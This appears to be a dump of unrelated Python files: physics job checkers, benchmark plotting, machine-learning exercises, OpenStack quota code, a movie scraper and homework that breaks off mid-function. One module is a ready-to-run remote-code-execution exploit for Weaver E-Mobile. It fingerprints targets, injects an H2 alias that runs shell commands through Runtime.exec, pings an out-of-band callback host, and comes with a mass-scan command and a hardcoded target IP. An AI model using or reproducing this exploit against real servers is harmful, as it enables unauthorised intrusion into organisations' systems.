import glob, os, sys
import ROOT as r
import yaml
import time
import EventProducer.common.utils as ut
class checker_yaml():

#__________________________________________________________
    def __init__(self, indir, para, fext, process, yamldir):
        self.indir  = indir
        self.para   = para
        self.fext   = fext
        self.process = process
        self.yamldir = yamldir
        self.count = 0

#__________________________________________________________
    def checkFile_stdhep(self, f):

        hack = True
        #hack = False

        size=os.path.getsize(f)
        if size==0:
            self.count+=1
            print ('file size is 0, job is bad')
            return -1,False

        filecounting='filecounting'
        if os.path.isdir(filecounting)==False:
            os.system('mkdir %s'%filecounting)
        else:
            if len(glob.glob('%s/*stdhep*'%filecounting))>0: os.system('rm %s/*stdhep*'%filecounting)

        if hack:
           cmd='cp /dev/null %s/%s'%(filecounting, f.split('/')[-1] )
        else :
           cmd='cp %s %s'%(f,filecounting)

        outputCMD = ut.getCommandOutput(cmd)
        fcount='%s/%s'%(filecounting,f.split('/')[-1])
        if os.path.isfile(fcount):
            cmd='gunzip %s'%(fcount)
            stderr=''
            if not hack:
                outputCMD = ut.getCommandOutput(cmd)
                stderr=outputCMD["stderr"]
            if len(stderr)>0:
                print ('can not unzip the file, try again (count %i)'%self.count)
                self.count+=1
                os.system('rm %s'%(fcount))
                return -1,False

            nevts = 100000 # temporary hack !!
            if not hack:
                if os.path.isfile('tmp.slcio'):
                    os.system('rm tmp.slcio')
                cmd='stdhepjob %s tmp.slcio 1000000000 | grep \"written to LCIO\" ' %(fcount.replace('.gz',''))
                outputCMD = ut.getCommandOutput(cmd)
                if len( outputCMD["stdout"].split() ) < 2:
                    print('... problem in checkFile_stdhep with stdhepjob')
                snevts = outputCMD["stdout"].split()[1]
                nevts=int(snevts)
                os.system('rm tmp.slcio')
                if nevts==0:
                    print ('no events in the file, job is bad')
                    os.system('rm %s'%(fcount.replace('.gz','')))
                    return 0,False
                else:
                    print ('%i events in file %s, job is good'%(nevts,f))
                    os.system('rm %s'%(fcount.replace('.gz','')))
            return nevts,True
        else:
            print ('file not properly copied... try again (count %i)'%self.count)
            if not ut.testeos(self.para.eostest,self.para.eostest_size):
                print ('eos seems to have problems, should check, will exit')
                sys.exit(3)
            self.count+=1
            return -1, False

#__________________________________________________________
    def checkFile_lhe(self, f):
        size=os.path.getsize(f)
        if size==0:
            self.count+=1
            print ('file size is 0, job is bad')
            return -1,False

        filecounting='filecounting'
        if os.path.isdir(filecounting)==False:
            os.system('mkdir %s'%filecounting)
        else:
            if len(glob.glob('%s/*lhe*'%filecounting))>0:os.system('rm %s/*lhe*'%filecounting)
        cmd='cp %s %s'%(f,filecounting)
        outputCMD = ut.getCommandOutput(cmd)
        fcount='%s/%s'%(filecounting,f.split('/')[-1])
        if os.path.isfile(fcount):
            cmd='gunzip %s'%(fcount)
            outputCMD = ut.getCommandOutput(cmd)
            stderr=outputCMD["stderr"]
            if len(stderr)>0:
                print ('can not unzip the file, try again (count %i)'%self.count)
                self.count+=1
                os.system('rm %s'%(fcount))
                return -1,False

            cmd='grep \"<event>\" %s | wc -l'%(fcount.replace('.gz',''))
            outputCMD = ut.getCommandOutput(cmd)
            stdoutplit=outputCMD["stdout"].split(' ')
            nevts=int(stdoutplit[0])
            if nevts==0:
                print ('no events in the file, job is bad')
                os.system('rm %s'%(fcount.replace('.gz','')))
                return 0,False
            else:
                print ('%i events in file %s, job is good'%(nevts,f))
                os.system('rm %s'%(fcount.replace('.gz','')))
                return nevts,True
        else:
            print ('file not properly copied... try again (count %i)'%self.count)
            if not ut.testeos(self.para.eostest,self.para.eostest_size):
                print ('eos seems to have problems, should check, will exit')
                sys.exit(3)
            self.count+=1
            return -1, False

#__________________________________________________________
    def checkFile_root(self, f, tname):
        tf=None
        try:
            tf=r.TFile.Open(f)
        except IOError as e:
            print ("I/O error({0}): {1}".format(e.errno, e.strerror))
            print ('file ===%s=== must be deleted'%f)
            return -1,-1,False
        except ValueError:
            print ("Could read the file")
        except:
            print ("Unexpected error:", sys.exc_info()[0])
            print ('file ===%s=== must be deleted'%f)
        #os.system('rm %s'%f)
            return -1,-1,False

        tf=r.TFile.Open(f)
        tt=None
        try :
            tt=tf.Get(tname)
            if tt==None:
                print ('file ===%s=== must be deleted'%f)
            #os.system('rm %s'%f)
                return -1,-1,False

        except IOError as e:
            print ("I/O error({0}): {1}".format(e.errno, e.strerror))
            print ('file ===%s=== must be deleted'%f)
            return -1,-1,False
        except ValueError:
            print ("Could read the file")
        except OSError:#for root 6.24
            print ('file ===%s=== must be deleted'%f)
        #os.system('rm %s'%f)
            return -1,-1,False
        except:
            print ("Unexpected error:", sys.exc_info()[0])
            print ('file ===%s=== must be deleted'%f)
        #os.system('rm %s'%f)
            return -1,-1,False

        if not ut.isValidROOTfile(f):
            return -1,-1,False

        f=r.TFile.Open(f)
        tt=tf.Get(tname)
        nentries=tt.GetEntries()
        weight_sum=float(nentries)

        ##TODO: here we miss the metadata to get the sum of weights properly done
	## compute sum of weights
        #r.gROOT.SetBatch(True)
        #tt.Draw('mcEventWeights.value[0]>>histo')
        #histo=r.gDirectory.Get('histo')
        #
        #try:
        #    weight_sum=float(nentries)*histo.GetMean()
        #except AttributeError as e:
        #    print ("error ",e)
        #    if nentries!=100000 and nentries!=10000:
        #        print ('nentries  ',nentries)
        #        #nentries=0
        if nentries==0:
            print ('file has 0 entries ===%s=== must be deleted'%f)
            return 0,0,False

        print ('%i events in the file and sum of weights = %f --> job is good'%(nentries,weight_sum))
        return int(nentries),weight_sum,True

#__________________________________________________________
    def makeyamldir(self, outdir):

        if not ut.dir_exist(outdir):
            os.system("mkdir -p %s"%outdir)

        if  outdir[-1]!='/':
            outdir+='/'

        return outdir

#__________________________________________________________
    def check(self, force, statfile):

        #ldir=[x[0] for x in os.walk(self.indir)]
        ldir=next(os.walk(self.indir))[1]

        if not ut.testeos(self.para.eostest,self.para.eostest_size):
            print ('eos seems to have problems, should check, will exit')
            sys.exit(3)

        for l in ldir:
            if self.process!='' and self.process!=l:
                continue
            #continue if process has been checked
            if l=='BADPYTHIA' or l=='lhe' or l=="__restored_files__" or l=="backup": continue
            print ('%s/%s/check'%(self.yamldir,l))
            if not ut.file_exist('%s/%s/check'%(self.yamldir,l)) and not force: continue
            print ('--------------------- ',l)
            process=l
            All_files = glob.glob("%s/%s/events_*%s"%(self.indir,l,self.fext))
            print ('number of files  ',len(All_files))
            if len(All_files)==0:continue

            print ('process from the input directory ',process)

            outdir = self.makeyamldir(self.yamldir+process)
            hasbeenchecked=False
            nevents_tot=0
            sumweights_tot=0
            njobsdone_tot=0
            njobsbad_tot=0
            userjobs=[]
            for f in All_files:

                self.count = 0
                if not os.path.isfile(f):
                    print ('file does not exists... %s'%f)
                    continue

                jobid=f.split('_')[-1]
                jobid=jobid.replace(self.fext,'')
                userid=ut.find_owner(f)

                outfile='%sevents_%s.yaml'%(outdir,jobid)
                if  ut.getsize(outfile)==0:
                    cmd="rm %s"%(outfile)
                    print ('file size 0, remove and continue   ',cmd)
                    os.system(cmd)
                    continue
                if ut.file_exist(outfile) and ut.getsize(outfile)> 100 and not force:
                    doc = None
                    with open(outfile) as ftmp:
                        try:
                            doc = yaml.load(ftmp, Loader=yaml.FullLoader)
                        except yaml.YAMLError as exc:
                            print(exc)
                        except IOError as exc:
                            print ("I/O error({0}): {1}".format(exc.errno, exc.strerror))
                            print ("outfile ",outfile)
                        try:
                            if doc!=None:value = doc['processing']['status']
                            if value=='DONE': continue

                        except KeyError as e:
                            print ('status %s does not exist' % str(e))

                hasbeenchecked=True
                print ('-----------',f)

                if '.root' in self.fext:
                    nevts, sumw, check=self.checkFile_root(f, self.para.treename)
                    status='DONE'
                    if not check: status='BAD'

                    if status=='DONE':
                        nevents_tot+=nevts
                        sumweights_tot+=sumw
                        njobsdone_tot+=1
                        if userid not in userjobs:userjobs.append(userid)
                    else:
                        njobsbad_tot+=1

                    dic = {'processing':{
                            'process':process,
                            'jobid':jobid,
                            'nevents':nevts,
                            'sumofweights':sumw,
                            'status':status,
                            'out':f,
                            'size':os.path.getsize(f),
                            'user':userid
                            }
                           }
                    try:
                        with open(outfile, 'w') as outyaml:
                            yaml.dump(dic, outyaml, default_flow_style=False)
                        continue
                    except IOError as exc:
                            print ("I/O error({0}): {1}".format(exc.errno, exc.strerror))
                            print ("outfile ",outfile)
                            time.sleep(10)
                            with open(outfile, 'w') as outyaml:
                                yaml.dump(dic, outyaml, default_flow_style=False)
                            continue

                elif '.lhe.gz' in self.fext:
                    nevts,check=self.checkFile_lhe(f)
                    while nevts==-1 and not check:
                        nevts,check=self.checkFile_lhe(f)
                        if self.count==10:
                            print ('can not copy or unzip the file, declare it wrong')
                            break

                    status='DONE'
                    if not check: status='BAD'

                    if status=='DONE':
                        nevents_tot+=nevts
                        njobsdone_tot+=1
                    else:
                        njobsbad_tot+=1

                    dic = {'processing':{
                            'process':process,
                            'jobid':jobid,
                            'nevents':nevts,
                            'status':status,
                            'out':f,
                            'size':os.path.getsize(f),
                            'user':userid
                            }
                           }
                    with open(outfile, 'w') as outyaml:
                        yaml.dump(dic, outyaml, default_flow_style=False)
                    continue

                elif '.stdhep.gz' in self.fext:
                    nevts,check=self.checkFile_stdhep(f)
                    while nevts==-1 and not check:
                        nevts,check=self.checkFile_lhe(f)
                        if self.count==10:
                            print ('can not copy or unzip the file, declare it wrong')
                            break

                    status='DONE'
                    if not check: status='BAD'

                    if status=='DONE':
                        nevents_tot+=nevts
                        njobsdone_tot+=1
                    else:
                        njobsbad_tot+=1

                    dic = {'processing':{
                            'process':process,
                            'jobid':jobid,
                            'nevents':nevts,
                            'status':status,
                            'out':f,
                            'size':os.path.getsize(f),
                            'user':userid
                            }
                           }
                    with open(outfile, 'w') as outyaml:
                        yaml.dump(dic, outyaml, default_flow_style=False)
                    continue

                else:
                    print ('not correct file extension %s'%self.fext)

            if hasbeenchecked:
                userstmp=''
                for u in userjobs:
                    if userstmp=='':
                        userstmp=u
                    else:
                        userstmp+=',',u

                cmdp='
date=%s \t time=%s njobs=%i \t nevents=%i  \t sumofweights=%f\t njobbad=%i \t process=%s \t users=%s
\n'%(ut.getdate_str(),ut.gettime_str() ,njobsdone_tot,nevents_tot, sumweights_tot, njobsbad_tot,process,userstmp)
                stat_exist=ut.file_exist(statfile)
                with open(statfile, "a") as myfile:
                    if not stat_exist:
                        myfile.write('<link href="/afs/cern.ch/user/f/fccsw/www/style/txtstyle.css" rel="stylesheet" type="text/css" />\n')
                        myfile.write('\n')

                    myfile.write(cmdp)

                print ('date=%s  time=%s  njobs=%i  nevents=%i  sumofweights=%f  njobbad=%i  process=%s users=%s'%(ut.getdate_str(),ut.gettime_str() ,njobsdone_tot,nevents_tot,sumweights_tot, njobsbad_tot,process,userstmp))


import sys
import os
import json
import matplotlib.pyplot as plt

setPath = sys.argv[1]
setName = setPath[setPath.rfind('/')+1:]

resultFile = setPath + ".json"
with open(resultFile, 'r') as f:
    results = json.load(f)

config = None
with open(sys.argv[2], 'r') as f:
    config = json.load(f)
params = config['Sets'][setName]

# The part that has to be adopted for every test set
if setName == "Linear Combination - Constant Size":
    title = "constant size (1000000 entries), varying combination count"
    xlabel = "# Combinations"
    ylabel = "Time (ms)"
    xdata = [vx[1] for vx in params]
    xscale = 'linear'
    yscale = 'log'
else:
    title = "constant number of combinations (2), varying vector size"
    xlabel = "Vector size"
    ylabel = "Time (ms)"
    xdata = [vx[0] for vx in params]
    xscale = 'log'
    yscale = 'log'

# now create the plot
plt.plot(xdata, [d[0] for d in results["CuMat"]], '-o', label='cuMat')
plt.plot(xdata, [d[0] for d in results["CuBlas"]], '-o', label='cuBLAS')
plt.plot(xdata, [d[0] for d in results["Eigen"]], '-o', label='Eigen')
plt.plot(xdata, [d[0] for d in results["Numpy"]], '-o', label='numpy')
#plt.plot(xdata[:len(results["Tensorflow"])], [d[0] for d in results["Tensorflow"]], '-o', label='Tensorflow')
for i,j in zip([xdata[0], xdata[-1]],[results["CuMat"][0][0], results["CuMat"][-1][0]]):
    plt.annotate(str(j),xy=(i,j), xytext=(-10,-10), textcoords='offset points')
for i,j in zip([xdata[0], xdata[-1]],[results["CuBlas"][0][0], results["CuBlas"][-1][0]]):
    plt.annotate(str(j),xy=(i,j), xytext=(-10,5), textcoords='offset points')
plt.xscale(xscale)
plt.yscale(yscale)
plt.xlabel(xlabel)
plt.ylabel(ylabel)
plt.title(title)
plt.legend()
plt.xticks(xdata)

#plt.show()
plt.savefig(setPath+'.png', bbox_inches='tight', dpi=300)


ROLE_DICT_PLEC = {
    "🙅♂": "Mężczyzna",
    "🙅": "Kobieta",
}
ROLE_DICT_WIEK = {
    "👶": "12+",
    "🧒": "14+",
    "👦": "16+",
    "🧑": "18+",
    "👨🦰": "20+",
    "🧔♂": "22+",
    "👴": "24+",
}
ROLE_DICT_GRY = {
    "👪": "Among Us",
    "🔫": "Counter-Strike: Global Offensive",
    "🚚": "Euro Truck Simulator 2",
    "🪅": "Fortnite",
    "🚙": "Forza Horizon 4",
    "🚗": "Forza Horizon 5",
    "💵": "Grand Theft Auto V",
    "🇱": "League of Legends",
    "⚒": "Minecraft",
    "6⃣": "Tom Clancy's Rainbow Six Siege",
    "🇻": "Valorant"
}


#!/usr/bin/env python
# -*- coding=utf-8 -*-
__author__ = "WCH"

import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
from sklearn import datasets, linear_model
from sklearn.metrics import mean_absolute_error
from sklearn.metrics import mean_squared_error
import myfun_CrimeRates
myfun_CrimeRates.matplot_中文字()

df = pd.read_excel("CrimeRates資料清洗後標準化.xlsx")  # 讀取 pandas資料
print(df.columns)
print(df.shape)

colX=df.columns[0:-1].tolist()     #'crimes.total'=label
print(colX)

train_x, test_x, train_y, test_y=\
              myfun_CrimeRates.ML_read_excel("CrimeRates資料清洗後標準化.xlsx",colX,['crimes.total'],0.2)

model = linear_model.LinearRegression()
model.fit(train_x, train_y)
predict_y=model.predict(test_x)
print("預測的y:",predict_y)
print("實際的y:",test_y)

print('score: %.2f' % model.score(test_x, test_y))
print('Coefficients: \n', model.coef_)
print("權重：",model.coef_)
print("截距：",model.intercept_)
print("MAE:", mean_absolute_error(test_y, model.predict(test_x)))   # 實際的Ｙ和算出來的Ｙ
print("MSE:", mean_squared_error(test_y, model.predict(test_x)))

print("model 算出來的公式為 y=",str(model.intercept_),"+")
for i in range(len(model.coef_)):
    print("(特徵值",i," * ",model.coef_[i],")+")

# ### 單一圖
for p in range(len(model.coef_)):
    plt.scatter(test_x[:,p], test_y,label=" 預測的結果")
    plt.scatter(train_x[:,p], train_y,label=" 訓練資料")
    plt.title("特徵值"+str(p))
    plt.legend()
    plt.savefig("LinearRegression 特徵值" + str(p))
    plt.show()

myfun_CrimeRates.ML_Regression_PolynomialFeaturesLinearRegression(train_x, test_x, train_y, test_y,0)
myfun_CrimeRates.ML_Regression_SVR(train_x, test_x, train_y, test_y,0)
myfun_CrimeRates.ML_Regression_BayesianRidgePolynomialRegression(train_x, test_x, train_y, test_y,0)

############### ML PCA
from sklearn.decomposition import PCA
model = PCA(n_components=4)      # <----- 組件的數量。 如果為 None，則保留所有非零分量。)must be between 0 and min(n_samples, n_features)=4

test_x_pca = model.fit(test_x).transform(test_x)
# 沒有predict,print("model 預測:", model.predict([[9,9],[9.2,9.2]]))

print(test_x_pca[:, 0])
print(test_x_pca[:, 1])
print(test_x_pca[:, 2])   # 因為降維，所以3維 變成 2維

######
from sklearn.decomposition import KernelPCA
kernel_pca = KernelPCA(
    n_components=2,      # <----- 組件的數量。 如果為 None，則保留所有非零分量。
    kernel="rbf", gamma=10, fit_inverse_transform=True, alpha=0.1
)

test_x_kernel_pca = kernel_pca.fit(train_x).transform(train_x)
# 沒有predict,  print("kernel_pca 預測:", kernel_pca.predict([[9,9],[9.2,9.2]]))

# 畫 3D圖片
ax = plt.axes(projection='3d')
ax.set_xlabel('x')
ax.set_ylabel('y')
ax.set_zlabel('z')

# test_x[:,0], test_x[:,1], test_x[:,2],c=test_y
ax.scatter(train_x[:,0], train_x[:,1], train_x[:,2],c=train_y,label='訓練資料')
#ax.plot_surface(X, Y, Z, cmap = cm.Reds,label="預測後的結果")
plt.show()

#  畫圖
fig, (orig_data_ax, pca_proj_ax, kernel_pca_proj_ax) = plt.subplots(
    ncols=3, figsize=(14, 4)
)
orig_data_ax.scatter(test_x[:, 0], test_x[:, 1], c=test_y)
orig_data_ax.set_ylabel("Feature #1")
orig_data_ax.set_xlabel("Feature #0")
orig_data_ax.set_title("Testing data")
plt.savefig("1.png")

pca_proj_ax.scatter(test_x_pca[:, 0], test_x_pca[:, 1], c=test_y)
pca_proj_ax.set_ylabel("Principal component #1")
pca_proj_ax.set_xlabel("Principal component #0")
pca_proj_ax.set_title("Projection of testing data\n using PCA")
plt.savefig("2.png")

kernel_pca_proj_ax.scatter(test_x_kernel_pca[:,0], test_x_kernel_pca[:, 1], c=test_y)
kernel_pca_proj_ax.set_ylabel("Principal component #1")
kernel_pca_proj_ax.set_xlabel("Principal component #0")
kernel_pca_proj_ax.set_title("Projection of testing data\n using KernelPCA")

plt.savefig("3.png")
plt.show()


# -*- coding: utf-8-*-
# Developped by Robin Lehn & Sebastien Glass
# Project Voice Recognition - Advanced Operating System

# Functionalities : tells the user which movies are new at the cinema
# How to call it with jasper : "Jasper" - "What's the last movies at the cinema?"
import os
import re
import subprocess
import datetime
import urllib
import requests
from bs4 import BeautifulSoup

WORDS = ["Last", "Movies"]

# retourne liste
def customRange(start, end, step):
    while start <= end:
        yield start
        start += step

#retourne transforme string en float
def floatFromStringValue(str):
	str =str.replace(',','.')
	return float(str)

# affiche les films
def display_movies(movies, real, notes):
	note =""
	print("===================================")
	print("The last movies are :")
	for i in range(0,5):
		for j in range(0,notes[i]):
			note += "*"
		print( movies[i].find('a').string.strip() + " - Realisateur : " + real[i].strip() + " - Note : " + note)
		note =""
	print("==================================")

#recherche les 5 derniers films
def search_movies(content):
	data = content.find_all("h2","tt_18 d_inline j_entities",limit=5)
	return data

#recherche les realisateurs des 5 derniers films
def search_realisateurs(content):
	data1 = content.find_all("table","data_box_table margin_10b",limit=5)
	data2 = []
	for row in data1:
		data2.append(row.find('tr').find_next('tr').find('span').find_next('span').string)
	return data2

#recherche les notes des 5 derniers films
def search_note(content):
	data = content.find_all("span","note",limit=10)
	data2 = []
	for i in customRange(0,9,2):
		data2.append(int((floatFromStringValue(data[i].find('span').string) + floatFromStringValue(data[i].find('span').string))/2 ))
	return data2

# annonce les derniers films trouvés
def tells_movies(movies, mic):
	mic.say("The last movies are ")
	for i in range(0,5):
		mic.say(movies[i].find('a').string.strip())

# execute lorsque jasper reconnait la commande
def handle(text, mic, profile):
	r = requests.get('http://www.allocine.fr/film/sorties-semaine')
	soup = BeautifulSoup(r.text)
	movies = search_movies(soup)
	real = search_realisateurs(soup)
	notes = search_note(soup)
	display_movies(movies, real, notes)
	tells_movies(movies, mic)

# verifie si la commande correspond
def isValid(text):
    return bool(re.search(r'\blast movies\b', text, re.IGNORECASE))


from rally.benchmark.context import base
from rally.openstack.common.gettextutils import _
from rally.openstack.common import log as logging
from rally import osclients
from rally import utils

LOG = logging.getLogger(__name__)

class NovaQuotas(object):
    """Management of Nova quotas."""

    QUOTAS_SCHEMA = {
        "type": "object",
        "additionalProperties": False,
        "properties": {
            "instances": {
                "type": "integer",
                "minimum": -1
            },
            "cores": {
                "type": "integer",
                "minimum": -1
            },
            "ram": {
                "type": "integer",
                "minimum": -1
            },
            "floating-ips": {
                "type": "integer",
                "minimum": -1
            },
            "fixed-ips": {
                "type": "integer",
                "minimum": -1
            },
            "metadata-items": {
                "type": "integer",
                "minimum": -1
            },
            "injected-files": {
                "type": "integer",
                "minimum": -1
            },
            "injected-file-content-bytes": {
                "type": "integer",
                "minimum": -1
            },
            "injected-file-path-bytes": {
                "type": "integer",
                "minimum": -1
            },
            "key-pairs": {
                "type": "integer",
                "minimum": -1
            },
            "security-groups": {
                "type": "integer",
                "minimum": -1
            },
            "security-group-rules": {
                "type": "integer",
                "minimum": -1
            }
        }
    }

    def __init__(self, client):
        self.client = client

    def update(self, tenant_id, **kwargs):
        self.client.quotas.update(tenant_id, **kwargs)

    def delete(self, tenant_id):
        # Reset quotas to defaults and tag database objects as deleted
        self.client.quotas.delete(tenant_id)

class CinderQuotas(object):
    """Management of Cinder quotas."""

    QUOTAS_SCHEMA = {
        "type": "object",
        "additionalProperties": False,
        "properties": {
            "gigabytes": {
                "type": "integer",
                "minimum": -1
            },
            "snapshots": {
                "type": "integer",
                "minimum": -1
            },
            "volumes": {
                "type": "integer",
                "minimum": -1
            }
        }
    }

    def __init__(self, client):
        self.client = client

    def update(self, tenant_id, **kwargs):
        self.client.quotas.update(tenant_id, **kwargs)

    def delete(self, tenant_id):
        # Currently, no method to delete quotas available in cinder client:
        # Will be added with https://review.openstack.org/#/c/74841/
        pass

class NeutronQuotas(object):
    """Management of Neutron quotas."""

    QUOTAS_SCHEMA = {
        "type": "object",
        "additionalProperties": False,
        "properties": {
            "network": {
                "type": "integer",
                "minimum": -1
            },
            "subnet": {
                "type": "integer",
                "minimum": -1
            },
            "port": {
                "type": "integer",
                "minimum": -1
            },
            "router": {
                "type": "integer",
                "minimum": -1
            },
            "floatingip": {
                "type": "integer",
                "minimum": -1
            },
            "security-group": {
                "type": "integer",
                "minimum": -1
            },
            "security-group-rule": {
                "type": "integer",
                "minimum": -1
            }
        }
    }

    def __init__(self, client):
        self.client = client

    def update(self, tenant_id, **kwargs):
        body = {"quota": kwargs}
        self.client.update_quota(tenant_id, body=body)

    def delete(self, tenant_id):
        # Reset quotas to defaults and tag database objects as deleted
        self.client.delete_quota(tenant_id)

class Quotas(base.Context):
    """Context class for updating benchmarks' tenants quotas."""

    __ctx_name__ = "quotas"
    __ctx_order__ = 210
    __ctx_hidden__ = False

    CONFIG_SCHEMA = {
        "type": "object",
        "$schema": utils.JSON_SCHEMA,
        "additionalProperties": False,
        "properties": {
            "nova": NovaQuotas.QUOTAS_SCHEMA,
            "cinder": CinderQuotas.QUOTAS_SCHEMA,
            "neutron": NeutronQuotas.QUOTAS_SCHEMA
        }
    }

    def __init__(self, context):
        super(Quotas, self).__init__(context)
        self.clients = osclients.Clients(context["admin"]["endpoint"])
        self.nova_quotas = NovaQuotas(self.clients.nova())
        self.cinder_quotas = CinderQuotas(self.clients.cinder())
        self.neutron_quotas = NeutronQuotas(self.clients.neutron())

    @utils.log_task_wrapper(LOG.info, _("Enter context: `quotas`"))
    def setup(self):
        for tenant in self.context["tenants"]:
            if "nova" in self.config and len(self.config["nova"]) > 0:
                self.nova_quotas.update(tenant["id"],
                                        **self.config["nova"])

            if "cinder" in self.config and len(self.config["cinder"]) > 0:
                self.cinder_quotas.update(tenant["id"],
                                          **self.config["cinder"])

            if "neutron" in self.config and len(self.config["neutron"]) > 0:
                self.neutron_quotas.update(tenant["id"],
                                           **self.config["neutron"])

    @utils.log_task_wrapper(LOG.info, _("Exit context: `quotas`"))
    def cleanup(self):
        for tenant in self.context["tenants"]:
            # Always cleanup quotas before deleting a tenant
            self.nova_quotas.delete(tenant["id"])
            self.cinder_quotas.delete(tenant["id"])
            self.neutron_quotas.delete(tenant["id"])


import pandas as pd
from Features import Features
from os import listdir
import numpy as np

def files_by_task(path: str) -> dict:
    """
    Returns a dictionary where the keys are the tasks and
    the values are the files for that task.
    """
    tasks = ['courage', 'debut', 'douleur', 'piscine', 'royaume', 'serpent', 'fcat', 'flib', 'flit']
    allfiles = listdir(path)
    csvfiles = sorted([x for x in allfiles if '.csv' in x])
    d = {task: [file for file in csvfiles if task in file] for task in tasks}
    return d

def extract_by_task(task: str, path: str, save_path: str):
    files = files_by_task(path)
    task_files = files[task]
    feature_matrix = []
    for file in task_files:
        features = Features(task_file=file, task_path=path)
        arr = np.array([features.patient_number(),
                        features.patient_group(),
                        features.group_number(),
                        features.unique_entries(),
                        features.repeat_entries(),
                        features.repeat_words(),
                        features.average_global_similarity(),
                        features.average_neighbour_similarity()
                        ])
        feature_matrix.append(arr)
    feature_cols = ['number',
                    'group',
                    'group number',
                    'unique_entries',
                    'repeat_entries',
                    'repeat_words',
                    'avg_global_sim',
                    'avg_neigh_sim']
    df = pd.DataFrame(feature_matrix, columns=feature_cols)
    new_filename = task + '_features.csv'
    df.to_csv(save_path + new_filename, index=False)
    return None

def extract_all(tasks, path, save_path):
    for (i, task) in enumerate(tasks):
        extract_by_task(task=task, path=path, save_path=save_path)
        if i == 0:
            print('Extracted', end=' ')
        print(task, end=' ')

if __name__ == '__main__':
    Tasks = ['courage', 'debut', 'douleur', 'piscine', 'royaume', 'serpent', 'fcat', 'flib', 'flit']
    Path = "../Data/Verbal Tasks 1-3/"
    Save_path = "../Data/Verbal Tasks features/"

    extract_all(tasks=Tasks, path=Path, save_path=Save_path)


from aima.core.search.csp import Selection, ImprovedBacktrackingStrategy, MapCSP

__author__ = 'Ivan Mushketik'
__docformat__ = 'restructuredtext en'

lcbs = ImprovedBacktrackingStrategy(Selection.MRV_DEG)

map_csp = MapCSP()
result = lcbs.solve(map_csp)
print(result)


# coding=utf-8
# @Author   : zpchcbd HG team
# @Time     : 2021-09-08 16:30

import hashlib
from colorama import Fore
from tqdm import tqdm

from exploit.web import BaseScript
from core.MyEnums import *
from core.request.asynchttp import *

# app="泛微-EMobile" && country="CN"
# python batch.py -m exploit.web.OA.Weaver.e-mobile.unauth_client_do_database_rce -cs -fs "app=\"泛微-EMobile\" && country=\"CN\""

class Script(BaseScript):
    name = 'E-Mobile'

    def __init__(self, target, session):
        super().__init__()
        # 漏洞目标
        self.target = target
        # 漏洞等级
        self.bugLevel = BugLevel.HIGH
        # 类型
        self.bugType = BugType.RCE
        # 编号
        self.bugNumber = ''
        # 来源
        self.refer = 'https://forum.butian.net/share/84'
        # 特定路径判断
        self.detectPathList = ['/favicon.ico']
        # exec
        self.execPathList = ['/client.do']
        # session
        self.session = session
        # 相关信息
        self.info = 'version == V6.6'
        self.favicon = ['f51746305f07a64eafa401adab364ad9']

    async def detect(self):
        try:
            for detectPath in self.detectPathList:
                url = f'http://{self.target}{detectPath}' if self.target.startswith(
                    ('http:', 'https:')) is False else f'{self.target}{detectPath}'
                async with self.session.get(url=url, headers=self.headers, timeout=self.reqTimeout, verify_ssl=False) as response:
                    if response is not None:
                        text = await response.read()
                        await asyncio.sleep(2)
                        m1 = hashlib.md5()
                        m1.update(text)
                        theMD5 = m1.hexdigest()
                        for _ in self.favicon:
                            if _ == theMD5 or 'E-Mobile' in str(text):
                                self.flag = True
                                tqdm.write(Fore.RED + '[{}] {}'.format('E-Mobile Finger', url))
                                return {'name': 'E-Mobile Finger', 'url': url, 'software': 'E-Mobile'}
        except Exception:
            return None

    async def exec(self):
        headers = self.headers.copy()
        headers.update({
            'Connection': "close",
            'Accept-Encoding': "gzip, deflate",
            'Accept': "*/*",
            'Content-Type': "application/x-www-form-urlencoded"
        })
        try:
            for execPath in self.execPathList:
                url = f'http://{self.target}{execPath}' if self.target.startswith(
                    ('http:', 'https:')) is False else f'{self.target}{execPath}'
                randomNum = random.randint(10000, 99999)
                data = "method=getupload&uploadID=1';CREATE ALIAS cs"+str(randomNum)+" AS CONCAT('void e(String cmd) throws java.io.IOException{','java.lan','g.Run','time rt=java.la','ng.Ru','ntime.getRu','ntime();rt.ex','ec(cmd);}');CALL cs"+str(randomNum)+"('ping weaver.client.0wtpsg.ceye.io');select+'1 "
                async with self.session.post(url=url, data=data, headers=headers, timeout=self.reqTimeout, verify_ssl=False) as response:
                    if response is not None and response.status == 200:
                        tqdm.write(Fore.RED + '[{}] {}'.format('E-Mobile RCE', url))
                        return {'name': 'E-Mobile RCE', 'url': url, 'software': 'E-Mobile'}
        except Exception:
            return None

    async def attack(self, semaphore, pbar):
        async with semaphore:
            a = await self.detect()
            if a is not None:
                self.vulList.append(a)
            if self.flag:
                b = await self.exec()
                if b is not None:
                    self.vulList.append(b)
        pbar.update(1)
        return self.vulList

if __name__ == '__main__':
    # import requests
    # import hashlib
    #
    # resp = requests.get('https://50.84.113.154:8443/favicon.ico', verify=False)
    # if resp.status_code == 200:
    #     m1 = hashlib.md5()
    #     m1.update(resp.content)
    #     theMD5 = m1.hexdigest()
    #     print(theMD5)
    semaphore = asyncio.Semaphore(500)
    sc = Script('221.0.183.26:8009', 1)
    l = asyncio.get_event_loop()
    l.run_until_complete(sc.attack(semaphore))


# -*- coding: utf-8 -*-
"""
Created on Mon Feb 20 14:57:46 2017

@author: cindylee
"""

"""
Name: Cindy Lee
Net ID: cl3616
N12335562
Homework 4
"""

#Question 1
def insomewhere(X,s):
    for index in range (len (X)):
        if X[index] == s:
            return True
        if isinstance (X[index], list):
            return insomewhere (X [index], s) or insomewhere (X[index + 1], s)
    return False

A=[[1,2],[3,[[[4],5]],6],7,8]
print(insomewhere(A,6)) #True
print(insomewhere(A,4))
print(insomewhere(A,66)) #False
print(insomewhere ([], 6))

#Question 2
def unnest (lst, i = 0):
    if i == len (lst):
        return []
    if isinstance (lst [i], list):
        return unnest (lst[i], 0) + unnest (lst, i + 1)
    return [lst[i]] + unnest (lst, i + 1)

A=[[1,2],[3,[[[4],5]],6],7,8]
print(unnest(A))
print(A)

#Question 3
def print2d (lst):
    print ("[")
    for i in lst:
        print (" " + str (i))
    print ("]")

print2d([[i]*5 for i in range(5)])

#Question 4
def triangle (n):
    lst = []
    z = n - 1
    while z >= 0:
        lst.append ([i for i in range (n, z , -1)])
        z -= 1
    return lst

print2d(triangle(5))
print2d(triangle(10))

#Question 5
def table(f,xrange,yrange):
    lst = []
    for y in yrange:
        lst2 = []
        for x in xrange:
            lst2.append (f (x, y))
        lst.append (lst2)
    return lst

print2d(table(pow,[1,2,10],range(10,15)))

#Question 6
def nest (x, n):
    if n == 0:
        return x
